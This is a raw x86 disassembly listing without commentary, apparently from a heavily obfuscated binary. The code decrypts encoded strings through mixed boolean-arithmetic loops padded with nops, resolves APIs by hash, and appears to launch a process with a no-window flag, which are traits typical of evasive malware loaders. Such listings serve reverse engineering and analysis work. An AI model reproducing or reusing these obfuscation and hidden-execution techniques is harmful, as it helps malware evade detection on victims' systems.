mov dword [edi + 0x60], 0x4146475e
mov dword [edi + 0x64], 0
mov dword [esi + 4], 0
mov ecx, dword [esi + 4]
cmp ecx, 0x67
ja 0x411412
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 4]
mov edx, dword [esi + 4]
movzx edx, byte [edi + edx]
mov edi, ecx
xor edi, 0x2e41fd09
and ecx, 0x2e41fd09
lea ecx, [edi + ecx*2]
mov edi, ecx
and edi, edx
add ecx, edx
add edi, edi
sub ecx, edi
mov edi, dword [esi + 0x1c]
mov dword [esi + 8], ecx
mov ecx, dword [esi + 8]
add cl, 0xd3
mov edx, dword [esi + 4]
mov byte [edi + edx], cl
inc dword [esi + 4]
mov ecx, dword [esi + 4]
cmp ecx, 0x68
jb 0x4113d0
sub eax, dword [esi + 0x18]
mov edx, dword [esi + 0xc]
mov dword [edx], 0xff1ff92b
mov dword [edx + 4], 0xe30bfd6c
mov dword [edx + 8], 0xe1e0
mov dword [esi + 4], 0
mov ecx, dword [esi + 4]
cmp ecx, 0xb
ja 0x4114a9
mov ebx, dword [esi + 0xc]
nop
nop
mov ecx, dword [esi + 4]
mov edi, ecx
or edi, 0x94a2f555
mov edx, ecx
not edx
or edx, 0x6b5d0aaa
and edx, edi
mov edi, ecx
xor edi, 0x14a2f555
or ecx, 0x6b5d0aaa
and ecx, edi
mov edi, dword [esi + 4]
movzx edi, byte [ebx + edi]
not edx
lea ecx, [edx + ecx*2]
mov edx, ecx
and edx, edi
add ecx, edi
add edx, edx
sub ecx, edx
mov dword [esi + 8], ecx
mov ecx, dword [esi + 8]
mov edx, ecx
not edx
and edx, 0x52
and ecx, 0xad
sub ecx, edx
mov edx, dword [esi + 4]
mov edi, dword [esi + 0xc]
mov byte [edi + edx], cl
mov edx, dword [esi + 0xc]
inc dword [esi + 4]
mov ecx, dword [esi + 4]
cmp ecx, 0xc
jb 0x411440
mov edi, dword [esi + 0x68]
push edi
mov ebx, dword [esi + 0x3c]
push ebx
push eax
push dword [esi + 0x18]
push dword [esi + 0x1c]
push edx
push 0x44d060
call fcn.0040f700
add esp, 0x1c
movzx eax, al
jmp dword [eax*4 + 0x448798]
jmp dword [0x4487a8]
mov ecx, dword [edi]
mov edx, ecx
and edx, 3
mov eax, ecx
or eax, 3
imul eax, edx
xor edx, 3
mov edi, ecx
and edi, 0xfffffffc
imul edi, edx
mov edx, ecx
not edx
add eax, edi
and edx, 1
mov edi, ecx
and edi, 0xfffffffe
sub edi, edx
mov ebx, dword [ebx]
shr eax, 2
movzx edx, byte [ebx + edi]
mov edi, ebx
cmp edx, 0x3d
je 0x411515
cmp edx, 0x2e
jne 0x411516
dec eax
movzx ecx, byte [edi + ecx - 2]
cmp ecx, 0x3d
je 0x411525
cmp ecx, 0x2e
jne 0x41152c
mov ecx, eax
not ecx
lea eax, [ecx + eax*2]
push eax
call fcn.0040c470
add esp, 4
mov ebx, eax
push eax
push edi
call fcn.004381b0
add esp, 8
mov eax, dword [esi + 0x3c]
push dword [eax]
call fcn.0043b5c0
add esp, 4
push ebx
call fcn.00403bf0
add esp, 4
mov edi, eax
jmp dword [0x4487b0]
push ebx
call fcn.0040c480
add esp, 4
push edi
call fcn.00414ad0
add esp, 4
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x4487b8]
xor eax, eax
cmp dword [esi + 0x38], 0
setg al
mov edi, dword [esi + 0x20]
jmp dword [eax*4 + 0x4487c0]
push dword [esi + 0x14]
call fcn.004047a0
add esp, 4
jmp case.0x4101ab.36
push edi
call fcn.004047a0
add esp, 4
xor eax, eax
cmp dword [esi + 0x38], 0
setg al
mov edi, dword [esi + 0x20]
jmp dword [eax*4 + 0x4487c0]
jmp dword [0x4487c8]
jmp dword [0x448804]
mov eax, dword [esi + 0x34]
mov eax, dword [eax]
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], 0x9c9d9a9b
mov dword [esi + 4], 0
mov ecx, dword [esi + 4]
cmp ecx, 3
ja 0x41162b
mov edx, dword [esi + 4]
mov ecx, dword [esi + 4]
movzx ecx, byte [esi + ecx + 0x10]
mov edi, edx
xor edi, 0x3d9fbf1a
and edx, 0x3d9fbf1a
lea edx, [edi + edx*2]
lea edi, [edx + ecx]
not ecx
or edx, ecx
sub ecx, edx
lea ecx, [edi + ecx*2]
mov dword [esi + 8], ecx
mov ecx, dword [esi + 8]
add cl, 0x7e
mov edx, dword [esi + 4]
mov byte [esi + edx + 0x10], cl
inc dword [esi + 4]
mov ecx, dword [esi + 4]
cmp ecx, 4
jb 0x4115e8
mov ecx, dword [0x44e374]
test ecx, ecx
je case.0x410d60.37
mov edx, dword [esi + 0x10]
xor edi, edi
mov ebx, dword [0x44e378]
cmp dword [ebx + edi*8], 0x625b6034
je 0x41165a
mov eax, edi
xor eax, 1
and edi, 1
lea edi, [eax + edi*2]
cmp edi, ecx
jb 0x411640
jmp case.0x410d60.37
mov ecx, dword [ebx + edi*8 + 4]
cmp ecx, edx
je case.0x410d60.37
push dword [esi + 0xc]
push 1
push dword [0x44e37c]
push ecx
call fcn.0043e4b0
add esp, 0x10
jmp case.0x410d60.37
jmp dword [0x448808]
mov eax, dword [esi + 0x34]
mov eax, dword [eax]
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], 0x9c9d9a9b
mov dword [esi + 4], 0
mov ecx, dword [esi + 4]
cmp ecx, 3
ja 0x4116f3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esi + 4]
mov ecx, dword [esi + 4]
movzx ecx, byte [esi + ecx + 0x10]
mov edi, edx
xor edi, 0x3d9fbf1a
and edx, 0x3d9fbf1a
lea edx, [edi + edx*2]
lea edi, [edx + ecx]
not ecx
or edx, ecx
sub ecx, edx
lea ecx, [edi + ecx*2]
mov dword [esi + 8], ecx
mov ecx, dword [esi + 8]
add cl, 0x7e
mov edx, dword [esi + 4]
mov byte [esi + edx + 0x10], cl
inc dword [esi + 4]
mov ecx, dword [esi + 4]
cmp ecx, 4
jb 0x4116b0
mov ecx, dword [0x44e374]
test ecx, ecx
je 0x411680
mov edx, dword [esi + 0x10]
xor edi, edi
mov ebx, dword [0x44e378]
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0x625b6034
je 0x41172d
mov eax, edi
xor eax, 1
and edi, 1
lea edi, [eax + edi*2]
cmp edi, ecx
jb 0x411710
jmp 0x411680
mov ecx, dword [ebx + edi*8 + 4]
cmp ecx, edx
je 0x411680
push dword [esi + 0xc]
push 1
push dword [0x44e37c]
push ecx
call fcn.0043e4b0
add esp, 0x10
jmp dword [0x448808]
mov ebx, dword [esi + 0x5c]
mov dword [ebx], 0x61f167f9
mov dword [ebx + 4], 0x5db463fc
mov dword [ebx + 8], 0x59d65fc3
mov dword [ebx + 0xc], 0x55ba5bc7
mov dword [ebx + 0x10], 0x51db57b6
mov dword [ebx + 0x14], 0x4df153dc
mov dword [ebx + 0x18], 0x49c24fde
mov dword [ebx + 0x1c], 0x459b4ba8
mov dword [ebx + 0x20], 0x41dd47d3
mov dword [ebx + 0x24], 0x3da243d6
mov dword [ebx + 0x28], 0x39a93fa1
mov dword [ebx + 0x2c], 0x35ec3ba4
mov dword [ebx + 0x30], 0x31be37ab
mov dword [ebx + 0x34], 0x2dd233af
mov dword [ebx + 0x38], 0x29ff2fce
mov dword [ebx + 0x3c], 0x25ca2bb5
mov dword [ebx + 0x40], 0x21bd27a8
mov dword [ebx + 0x44], 0x1dbd23b7
mov dword [ebx + 0x48], 0x19911f8d
mov dword [ebx + 0x4c], 0x15fa1b94
mov dword [ebx + 0x50], 0x119a17c5
mov dword [ebx + 0x54], 0xddf13f0
mov dword [ebx + 0x58], 0x9df0fec
mov dword [ebx + 0x5c], 0x59b0b9e
mov dword [ebx + 0x60], 0x19407a6
mov dword [ebx + 0x64], 0xfda1039f
mov dword [ebx + 0x68], 0xf91eff69
mov dword [ebx + 0x6c], 0xf51afb26
mov dword [ebx + 0x70], 0xf169f768
mov dword [ebx + 0x74], 0xed12f364
mov dword [ebx + 0x78], 0xe9eeef0e
mov byte [ebx + 0x7e], 0
mov word [ebx + 0x7c], 0
mov dword [esi + 4], 0
mov ecx, dword [esi + 4]
cmp ecx, 0x7e
ja 0x411887
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 4]
mov edx, dword [esi + 4]
movzx edx, byte [ebx + edx]
mov edi, ecx
xor edi, 0xc32f9819
and ecx, 0xc32f9819
lea ecx, [edi + ecx*2]
xor ecx, edx
mov dword [esi + 8], ecx
mov ecx, dword [esi + 8]
add cl, 0x83
mov edx, dword [esi + 4]
mov byte [ebx + edx], cl
inc dword [esi + 4]
mov ecx, dword [esi + 4]
cmp ecx, 0x7f
jb 0x411850
movzx edx, word [ebx]
mov edi, dword [esi + 0x64]
mov ecx, edi
test dx, dx
je 0x4118b1
add ebx, 2
mov ecx, edi
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [ebx]
add ebx, 2
test dx, dx
jne 0x4118a0
mov word [ecx], 0
movzx edx, word [eax]
test dx, dx
je 0x4118e1
add eax, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [eax]
add eax, 2
test dx, dx
jne 0x4118d0
mov dword [ecx], 0x220022
mov dword [ecx + 4], 0x22
mov ebx, dword [esi + 0x60]
mov dword [ebx + 0x40], 0
mov dword [ebx + 0x3c], 0
mov dword [ebx + 0x38], 0
mov dword [ebx + 0x34], 0
mov dword [ebx + 0x30], 0
mov dword [ebx + 0x28], 0
mov dword [ebx + 0x24], 0
mov dword [ebx + 0x20], 0
mov dword [ebx + 0x1c], 0
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x14], 0
mov dword [ebx + 0x10], 0
mov dword [ebx + 0xc], 0
mov dword [ebx + 8], 0
mov dword [ebx + 4], 0
mov dword [ebx], 0x44
mov dword [ebx + 0x2c], 1
push 0xc9be8534
push dword [0x44e368]
call fcn.004411b0
add esp, 8
push dword [esi + 0x34]
push ebx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push edi
push 0
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4487f8]
mov eax, dword [case.0x410d60.26]
mov edi, dword [esi + 0x2c]
mov ebx, dword [esi + 0x28]
nop
nop
nop
nop
nop
jmp eax
mov ecx, edi
push 1
call fcn.0040ce30
mov eax, 0xffffffff
cmp byte [eax + 0x44d369], 0
lea eax, [eax + 1]
jne 0x4119c0
mov ebx, dword [esi + 0x4c]
mov dword [ebx], 0xaa989c7c
mov dword [ebx + 4], 0xbbb66f97
mov dword [ebx + 8], 0x21b4
mov byte [ebx + 0xc], 0
mov dword [esi + 4], 0
mov ecx, dword [esi + 4]
cmp ecx, 0xc
ja 0x411a37
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 4]
mov edx, dword [esi + 4]
movzx edx, byte [ebx + edx]
mov edi, ecx
xor edi, 0x1c35a00a
and ecx, 0x1c35a00a
lea ecx, [edi + ecx*2]
xor ecx, edx
mov dword [esi + 8], ecx
mov ecx, dword [esi + 8]
add cl, 0xce
mov edx, dword [esi + 4]
mov byte [ebx + edx], cl
inc dword [esi + 4]
mov ecx, dword [esi + 4]
cmp ecx, 0xd
jb 0x411a00
mov edi, dword [esi + 0x20]
mov ecx, edi
push eax
push 0x44d368
push ebx
call fcn.0040d040
mov ecx, edi
call fcn.0040d760
mov ecx, edi
call fcn.0040ce70
jmp dword [0x4487d4]
mov ecx, edi
push 1
call fcn.0040ce30
mov eax, 0xffffffff
mov ebx, dword [esi + 0x4c]
nop
nop
nop
cmp byte [eax + 0x44d369], 0
lea eax, [eax + 1]
jne 0x411a70
mov dword [ebx], 0xaa989c7c
mov dword [ebx + 4], 0xbbb66f97
mov dword [ebx + 8], 0x21b4
mov byte [ebx + 0xc], 0
mov dword [esi + 4], 0
mov ecx, dword [esi + 4]
cmp ecx, 0xc
ja 0x411ae7
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 4]
mov edx, dword [esi + 4]
movzx edx, byte [ebx + edx]
mov edi, ecx
xor edi, 0x1c35a00a
and ecx, 0x1c35a00a
lea ecx, [edi + ecx*2]
xor ecx, edx
mov dword [esi + 8], ecx
mov ecx, dword [esi + 8]
add cl, 0xce
mov edx, dword [esi + 4]
mov byte [ebx + edx], cl
inc dword [esi + 4]
mov ecx, dword [esi + 4]
cmp ecx, 0xd
jb 0x411ab0
mov edi, dword [esi + 0x20]
mov ecx, edi
push eax
push 0x44d368
push ebx
call fcn.0040d040
mov ecx, edi
call fcn.0040d760
mov ecx, edi
call fcn.0040ce70
jmp case.0x410d60.22
xor eax, eax
cmp dword [esi + 0x58], 0
setg al
mov edi, dword [esi + 0x2c]
mov ebx, dword [esi + 0x28]
jmp dword [eax*4 + 0x4487d8]
jmp dword [0x4487e0]
push 0
call fcn.004410c0
add esp, 4
push 0
call fcn.004410c0
add esp, 4
jmp dword [0x4487ec]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4487f0]
mov ecx, dword [esi + 0x44]
call fcn.0040ce70
mov ecx, dword [esi + 0x48]
call fcn.0040ce70
mov ecx, ebx
call fcn.0040ce70
mov ecx, edi
call fcn.0040ce70
lea ecx, [esi + 0x70]
call fcn.0040ce70
lea ecx, [esi + 0xd8]
call fcn.0040ce70
mov al, 1
jmp 0x410cc7
int3
mov dword [esp + 0x120], edi
jmp 0x411c5f
nop
nop
nop
mov ebx, dword [esp + 0x124]
inc ebx
mov edi, dword [esp + 0x120]
push edi
call fcn.00404760
add esp, 4
xor ecx, ecx
cmp ebx, eax
setb cl
mov al, 1
jmp dword [ecx*4 + 0x448828]
mov dword [esp + 0x124], ebx
push ebx
push edi
call fcn.00404770
add esp, 8
mov ebx, eax
mov word [esp + 0x48], 0x8738
mov dword [esp + 0x4a], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 5
ja 0x411cf4
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x48]
mov edx, eax
xor edx, 0xe106cf21
and eax, 0xe106cf21
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0x5b
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 6
jb 0x411cb0
push 3
lea eax, [esp + 0x4c]
push eax
push ebx
call fcn.00404700
add esp, 0xc
xor ecx, ecx
test eax, eax
sete cl
lea edi, [esp + 0x4a]
jmp dword [ecx*4 + 0x448830]
mov word [esp + 0x48], 0xf974
mov word [edi + 4], 0
mov dword [edi], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 7
ja 0x411d8e
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x48]
mov edx, eax
xor edx, 0x7728d856
mov esi, eax
xor esi, 0x8d727a9
or eax, 0x7728d856
and eax, esi
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0x52
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 8
jb 0x411d40
lea esi, [esp + 0x48]
push esi
push ebx
call fcn.004044e0
add esp, 8
fnstcw word [esp + 0x102]
movzx eax, word [esp + 0x102]
or eax, 0xc00
mov word [esp + 0x112], ax
fldcw word [esp + 0x112]
fistp dword [esp + 0x138]
fldcw word [esp + 0x102]
mov eax, dword [esp + 0x138]
xor ecx, ecx
cmp eax, 2
setl cl
jmp dword [ecx*4 + 0x448838]
xor ecx, ecx
cmp eax, 3
setl cl
jmp dword [ecx*4 + 0x448840]
sete al
movzx eax, al
jmp dword [eax*4 + 0x448848]
mov word [esp + 0x48], 0x8f65
mov byte [edi + 2], 0
mov word [edi], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 4
ja 0x411e6c
mov ecx, dword [esp + 4]
mov eax, dword [esp + 4]
movzx eax, byte [esp + eax + 0x48]
mov edx, ecx
not edx
or edx, 0x6f6dbf5d
add edx, ecx
xor ecx, 0x6f6dbf5d
lea ecx, [ecx + edx*2]
add ecx, 2
xor ecx, eax
mov dword [esp + 0xb4], ecx
mov eax, dword [esp + 0xb4]
add al, 0x2f
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 5
jb case.default.0x411e83
push 2
lea eax, [esp + 0x4c]
push eax
push ebx
call fcn.00404700
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x448908]
mov word [esp + 0xb4], 0x47d4
mov dword [esp + 0xb6], 0
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 5
ja 0x411efc
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
movzx eax, byte [esp + eax + 0xb4]
mov edx, ecx
not edx
or edx, 0x3b6cbe71
add edx, ecx
xor ecx, 0xbb6cbe71
lea ecx, [ecx + edx*2]
add ecx, 2
xor ecx, eax
mov dword [esp + 0x20], ecx
mov eax, dword [esp + 0x20]
add al, 0xcb
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0xb4], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 6
jb case.default.0x411f16
push 2
lea eax, [esp + 0xb8]
push eax
push ebx
call fcn.00404700
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x448910]
mov dword [esp + 0x10c], 0xc955
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 3
ja 0x411f84
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
movzx ecx, byte [esp + ecx + 0x10c]
mov edx, eax
xor edx, 0x22eae9d2
and eax, 0x22eae9d2
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
add al, 0xe6
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x10c], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 4
jb 0x411f40
push 5
lea eax, [esp + 0x110]
push eax
push ebx
call fcn.00404700
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x448918]
mov word [esp + 4], 0x31ba
mov dword [esp + 6], 0
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 5
ja 0x41200e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
movzx ecx, byte [esp + ecx + 4]
mov edx, eax
xor edx, 0x17d6b28c
and eax, 0x17d6b28c
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
add al, 0x44
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 4], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 6
jb 0x411fd0
push 2
lea eax, [esp + 8]
push eax
push ebx
call fcn.00404700
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x448920]
mov word [esp + 0x38], 0x6104
lea eax, [esp + 0x3a]
mov byte [eax + 2], 0
mov word [eax], 0
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 4
ja 0x4120a5
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
movzx ecx, byte [esp + ecx + 0x38]
mov edx, eax
xor edx, 0xcb02f6e8
and eax, 0xcb02f6e8
lea eax, [edx + eax*2]
lea edx, [eax + ecx]
and eax, ecx
add eax, eax
sub edx, eax
mov dword [esp + 0x20], edx
mov eax, dword [esp + 0x20]
add al, 0x78
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x38], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 5
jb 0x412060
push 3
lea eax, [esp + 0x3c]
push eax
push ebx
call fcn.00404700
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x448928]
mov word [esp + 0x30], 0x9e8e
mov byte [esp + 0x32], 0x2a
lea eax, [esp + 0x33]
mov byte [eax + 2], 0
mov word [eax], 0
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 5
ja 0x41212e
nop
nop
nop
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
movzx ecx, byte [esp + ecx + 0x30]
mov edx, eax
xor edx, 0x9c7cbec7
and eax, 0x1c7cbec7
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
add al, 0x1d
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x30], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 6
jb 0x4120f0
push 3
lea eax, [esp + 0x34]
push eax
push ebx
call fcn.00404700
add esp, 0xc
xor ecx, ecx
test eax, eax
sete cl
jmp dword [ecx*4 + 0x448930]
mov word [esp + 0x48], 0x6107
mov byte [edi + 4], 0
mov dword [edi], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 6
ja 0x4121dd
nop
nop
mov ecx, dword [esp + 4]
mov eax, dword [esp + 4]
movzx eax, byte [esp + eax + 0x48]
lea edx, [ecx + ecx]
and edx, 0x96b1e0d0
mov esi, ecx
not esi
or esi, 0x4b58f068
add esi, ecx
sub ecx, edx
lea edx, [ecx + esi*2]
lea ecx, [ecx + esi*2]
add ecx, 0xcb58f06a
add edx, eax
add edx, 0xcb58f06a
and ecx, eax
mov eax, edx
xor eax, ecx
add eax, ecx
not ecx
and ecx, edx
add ecx, ecx
sub ecx, eax
mov dword [esp + 0xb4], ecx
mov eax, dword [esp + 0xb4]
add al, 0xf8
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 7
jb 0x412170
lea eax, [esp + 0x48]
push eax
push ebx
call fcn.00404480
add esp, 8
mov esi, eax
mov word [esp + 0x48], 0xcfbc
mov byte [edi + 2], 0
mov word [edi], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 4
ja 0x412254
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x48]
mov edx, eax
xor edx, 0x9a6711cd
and eax, 0x1a6711cd
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
dec al
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 5
jb 0x412210
lea eax, [esp + 0x48]
push eax
push ebx
call fcn.00404480
add esp, 8
mov dword [esp + 0x24], eax
mov word [esp + 0x48], 0xc753
mov byte [edi + 4], 0
mov dword [edi], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 6
ja 0x4122f9
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx edx, byte [esp + ecx + 0x48]
mov ecx, eax
xor ecx, 0xf4893231
mov edi, eax
xor edi, 0xb76cdce
or eax, 0x74893231
and eax, edi
lea ecx, [ecx + eax*2]
lea eax, [ecx + edx]
and ecx, edx
mov edx, eax
not edx
and edx, ecx
mov edi, ecx
not edi
and eax, edi
sub eax, edx
mov edx, eax
not edx
and edx, ecx
and eax, edi
sub eax, edx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0xb
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 7
jb 0x412290
lea eax, [esp + 0x48]
push eax
push ebx
call fcn.00404550
add esp, 8
mov edi, eax
mov word [esp + 0x48], 0x61ea
mov dword [esp + 0x4a], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 5
ja 0x41237f
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 4]
mov eax, dword [esp + 4]
movzx eax, byte [esp + eax + 0x48]
mov edx, ecx
xor edx, 0xdd3c9918
and ecx, 0xdd3c9918
lea ecx, [edx + ecx*2]
lea edx, [ecx + eax]
not eax
or ecx, eax
sub eax, ecx
lea eax, [edx + eax*2]
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0x88
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 6
jb 0x412330
lea eax, [esp + 0x48]
push eax
push ebx
call fcn.00404480
add esp, 8
mov dword [esp + 0x18], eax
mov word [esp + 0x48], 0x3b90
lea eax, [esp + 0x4a]
mov word [eax + 4], 0
mov dword [eax], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 7
ja 0x412404
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x48]
mov edx, eax
xor edx, 0xcb8bc74b
and eax, 0xcb8bc74b
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0x89
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 8
jb 0x4123c0
mov dword [esp + 0x28], edi
lea eax, [esp + 0x48]
push eax
push ebx
call fcn.004044e0
add esp, 8
mov dword [esp + 4], 0x1aa6b6
fnstcw word [esp + 0x10a]
movzx eax, word [esp + 0x10a]
or eax, 0xc00
mov word [esp + 0x11a], ax
fldcw word [esp + 0x11a]
fistp dword [esp + 0x12c]
fldcw word [esp + 0x10a]
mov eax, dword [esp + 0x12c]
mov dword [esp + 0x2c], eax
mov dword [esp + 0xb4], 0
mov eax, dword [esp + 0xb4]
cmp eax, 3
ja 0x4124d4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xb4]
mov ecx, dword [esp + 0xb4]
movzx ecx, byte [esp + ecx + 4]
mov edx, eax
xor edx, 0xb6a63f7b
and eax, 0x36a63f7b
lea eax, [edx + eax*2]
lea edx, [eax + ecx]
and eax, ecx
add eax, eax
sub edx, eax
mov dword [esp + 0x48], edx
mov eax, dword [esp + 0x48]
add al, 0x99
mov ecx, dword [esp + 0xb4]
mov byte [esp + ecx + 4], al
inc dword [esp + 0xb4]
mov eax, dword [esp + 0xb4]
cmp eax, 4
jb 0x412480
lea eax, [esp + 4]
push eax
push ebx
call fcn.004044e0
add esp, 8
lea ebx, [esi - 1]
mov edi, 0xffffffff
mov eax, 0xfffffffe
nop
inc edi
add eax, 2
cmp byte [ebx + 1], 0
lea ebx, [ebx + 1]
jne 0x4124f0
fnstcw word [esp + 0x108]
movzx ecx, word [esp + 0x108]
or ecx, 0xc00
mov word [esp + 0x118], cx
fldcw word [esp + 0x118]
fistp dword [esp + 0x128]
fldcw word [esp + 0x108]
mov ecx, dword [esp + 0x128]
mov dword [esp + 0x44], ecx
and eax, 2
xor edi, 1
add edi, eax
lea eax, [edi + edi]
test edi, edi
jns 0x41254e
mov eax, 0xffffffff
push eax
call fcn.0040c470
add esp, 4
mov dword [esp + 0x48], 0
lea ecx, [eax + edi*2]
add ecx, 0xfffffffe
mov edi, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ecx
cmp eax, ecx
jae 0x4125aa
mov edi, dword [esp + 0x1c]
cmp esi, ebx
jae 0x4125aa
mov edi, dword [esp + 0x1c]
cmp byte [esi], 0
je 0x4125aa
lea eax, [esp + 0x48]
push eax
push ebx
push esi
call fcn.00410690
add esp, 0xc
movzx ecx, word [esp + 0x48]
mov word [edi], cx
add edi, 2
cmp edi, dword [esp + 0x14]
jae 0x4125aa
add esi, eax
cmp esi, ebx
jb 0x41257f
mov word [edi], 0
mov dword [esp + 0xc0], 0
mov dword [esp + 0xbc], 0
mov dword [esp + 0xb8], 0
mov dword [esp + 0xb4], 0
lea ebx, [esp + 0xb4]
mov ecx, ebx
mov esi, dword [esp + 0x1c]
push esi
call fcn.0043b670
jmp dword [0x448948]
push esi
call fcn.0040c480
add esp, 4
jmp dword [0x448954]
xor ecx, ecx
test eax, eax
setle cl
jmp dword [ecx*4 + 0x448850]
mov word [esp + 0x48], 0x27b4
mov byte [edi + 4], 0
mov dword [edi], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 6
ja 0x4126a4
mov ecx, dword [esp + 4]
mov eax, dword [esp + 4]
movzx eax, byte [esp + eax + 0x48]
mov edx, ecx
xor edx, 0xbb9d8579
mov esi, ecx
xor esi, 0x44627a86
or ecx, 0x3b9d8579
and ecx, esi
lea edx, [edx + ecx*2]
mov ecx, edx
and ecx, eax
add eax, edx
sub eax, ecx
mov edx, 0xe8b5c2ff
sub edx, eax
and edx, ecx
not ecx
and ecx, eax
sub ecx, edx
mov dword [esp + 0xb4], ecx
